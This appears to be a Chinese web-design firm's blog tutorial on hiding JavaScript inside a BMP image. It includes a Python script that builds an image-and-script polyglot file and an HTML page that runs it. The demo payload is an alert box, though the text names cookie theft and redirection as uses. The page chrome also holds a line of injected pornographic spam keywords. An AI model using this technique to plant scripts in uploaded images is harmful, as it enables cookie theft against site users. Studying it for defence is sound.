圖片文件黑客攻擊原理

作者：狐靈科技 | 2020-01-12 17:30 |點擊：

這里以位圖 BMP 為例演示圖片文件黑客攻擊的原理及實現。

創建位圖

創建或者隨便找一個位圖，使用編輯器（本文使用 UltraEdit 作為編輯查看工具）打開，可看到 16進制數。

BMP 格式中，前 2 字節是用于識別位圖文件格式的字段，可以看到它對應 ASCII 碼的 BM，只要該字段正確，圖片文件就能被正確識別處理，而無論其余數據是否損壞。隨后 4 字節用于指示文件大小，單位為字節。

靈夢.bmp

插入腳本

在此基礎上，我們就可以對圖片動一些手腳了，我們可以在圖片中插入一段 JS 腳本。

比如獲取該網頁cookie的腳本或者重定向到目標網站的腳本。這里我們僅作效果演示，所以用了彈框：

window.onload = alert("Image hacked!");

然后我們將腳本插入到圖片中，具體步驟如下：

將2A 2F（即 JS 多行注釋中*/的十六進制碼）替換為00 00，防止語法錯誤干擾腳本運行
在圖片的前兩個字節后插入2F 2A（ JS 多行注釋中/*的十六進制碼）
在圖片末尾插入FF 2A 2F 3D 31 3B（即*/=1;），其中=1;用于結束開頭的BM。
在圖片最后插入你寫好的腳本的十六進制碼。

以上操作可以通過 Python 腳本簡單實現：

# -*- coding:utf-8 -*-

src_img_name = '靈夢.bmp'
rst_img_name = 'hackimg.bmp'
append_js_name = 'cookies.js'

with open(src_img_name,'rb') as f:
    buff = f.read()
    buff = buff.replace(b'\x2A\x2F',b'\x00\x00')

with open(rst_img_name,'wb') as f:
    f.write(buff)
    f.seek(2)
    f.write(b'\x2F\x2A')
    f.seek(0,2)
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(open(append_js_name,'rb').read())

最后我們得到插入了惡意代碼的位圖文件：

hackimg.bmp

瀏覽器運行

創建index.html文件，內容如下：

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>圖片黑客攻擊</title>
</head>
<body>
    <img src="hackimg.bmp" alt="博麗靈夢"><!-- 這里我們看到圖片還能正常顯示 -->
    <script src="hackimg.bmp"></script><!-- 腳本也成功執行了 -->
</body>
</html>

運行效果如下：

15778547433291.png

其他圖片格式也可以通過類似的操作實現。

如沒特殊注明，文章均為狐靈科技原創,轉載請注明?? "圖片文件黑客攻擊原理

多一份參考，總有益處

聯系狐靈科技，免費獲得專屬《策劃方案》及報價

咨詢相關問題或預約面談，可以通過以下方式與我們聯系

業務熱線：15082661954 / 大客戶專線：15523356218

關于狐靈科技

狐靈致力于互聯網品牌建設與網絡營銷，專業領域包括網站建設、 SEO優化、移動互聯網營銷、高端網站建設、高端網站設計、品牌網站定制開發、營銷策劃推廣電子商務、移動互聯網營銷、為不同類型的客戶提供良好的互聯網應用定制解決方案，我們將策略和執行緊密結合，且不斷評估并優化我們的方案，為客戶提供一體化全方位的互聯網品牌整合方案！

我們的優勢

量身打造個性化網站制作

代碼深度符合SEO優化

一站式企業網站建設服務

前沿視覺設計、研發能力

重慶網站建設公司

多項網站設計傳播大獎

營銷型網站建設專家

自主研發網站管理系統

B2C電商網站建設供應商

完善的售后服務體系

我們的不同

在我們的對手消耗大量的時間停留在碎片化的互聯網設計或者程序實現的時候，我們已經開始把數字化品牌建設和網絡傳播進行了整合。我們提供從前期的網站品牌分析策劃、網站設計、創意表現、系統開發以及后續網站運營反饋建議等一系列服務，幫助企業打造創新的互聯網品牌經營模式與有效的網絡營銷方法,為所有謀求長遠發展的企業品牌貢獻全力！

友情鏈接交換友情鏈接 交換友情鏈接 展開

公司地址：重慶市九龍坡楊家坪重百大樓21-8 | 業務熱線：15082661954

專業團隊為您提供重慶網頁設計, 品牌網站設計,營銷型網站制作,SEO優化關鍵詞排名推廣等服務,建網站就找狐靈科技！ | TAG標簽 | 網站建設地圖 | 網站地圖

精品国产免费观看久久久_久久天天躁狠狠躁夜夜爽_无码人妻少妇久久中文字幕_狠狠做深爱婷婷久久综合一区

首頁

網站建設

優化推廣

案例

方案

電商平臺

微信營銷

資訊

我們

聯系

精準傳達 ? 價值共享

查看其它板塊

圖片文件黑客攻擊原理

創建位圖

插入腳本

瀏覽器運行

熱門標簽

多一份參考，總有益處

聯系狐靈科技，免費獲得專屬《策劃方案》及報價

業務熱線：15082661954 / 大客戶專線：15523356218

關于狐靈科技

我們的優勢

我們的不同

友情鏈接交換友情鏈接 交換友情鏈接 展開

網站建設

Website Building

推廣優化

Seo

案例

Site case

方案

Solutions

電商網站開發

E-commerce & System

我們

About Us

聯系

Contact Us

精準傳達 ? 價值共享

查看其它板塊

圖片文件黑客攻擊原理

創建位圖

插入腳本

瀏覽器運行

熱門標簽

多一份參考，總有益處

聯系狐靈科技，免費獲得專屬《策劃方案》及報價

業務熱線：15082661954 / 大客戶專線：15523356218

關于狐靈科技

我們的優勢

我們的不同

友情鏈接 交換友情鏈接 交換友情鏈接 展開

友情鏈接交換友情鏈接交換友情鏈接展開